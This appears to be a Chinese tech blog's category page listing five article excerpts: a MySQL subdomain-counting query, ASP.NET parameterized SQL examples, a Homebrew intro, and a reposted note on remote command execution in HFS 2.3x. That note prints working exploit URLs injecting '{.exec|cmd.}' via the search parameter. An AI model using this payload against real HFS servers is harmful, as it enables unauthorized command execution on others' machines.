Other(18 篇文章)

子域名Top 3000

yzmm
1431 阅读

mysql> select SUBSTR(domain,1,LOCATE('.',domain)-1) pre,count(*) c from sys_domain where parent_id > 0 group by pre order by c desc limit 0,3000; +----------------+---------+ | pre | c...

阅读全文

[转] HFS 2.3x 远程命令执行

Anonymous
1203 阅读

从某论坛看见的,转载部分: 这个程序在国内用的特别多,特别是那些抓肉鸡的黑阔。 http://localhost:80/?search==%00{.exec|cmd.} http://localhost:80/search=%00{.exec|cmd.} 注:有些版本search前面是没有?的。 测试部分: 百度搜HFS默认就是2.3x版本,执行echo测试成功: http://localhost...

阅读全文

asp.net SqlDataSource 预编译 动态SQL搜索

yzmm
634 阅读

配置SqlDataSource1,搜索的一般需要动态查询,为了解决拼SQL问题,可以采用预编译。参考:SqlDataSource 中 参数动态赋值的方法 和 使用 SqlDataSource 进行带参数的查询 protected void Button1_Click(object sender, EventArgs e) { string id = TextBox1.Text.ToString()...

阅读全文

asp.net SqlHelp.cs 和 SQL预编译

yzmm
567 阅读

SQL预编译: string sql = "select count(1) from xxx where xxx = @id "; SqlParameter[] paras = new SqlParameter[] { new SqlParameter("@id", id) }; sqlHelp.executeQueryScalar(sql, paras);...

阅读全文

Homebrew OS X 或缺的软件包管理器

yzmm
753 阅读

http://brew.sh/ 在 OS X 中找不到您想要的软件?Homebrew 给你所需。 $ brew install wget Homebrew 将软件包分装到单独的目录,然后 symlink 到/usr/local 中。 $ cd /usr/local $ find Cellar Cellar/wget/1.15 Cellar/wget/1.15/bin/wget Cellar/wge...

阅读全文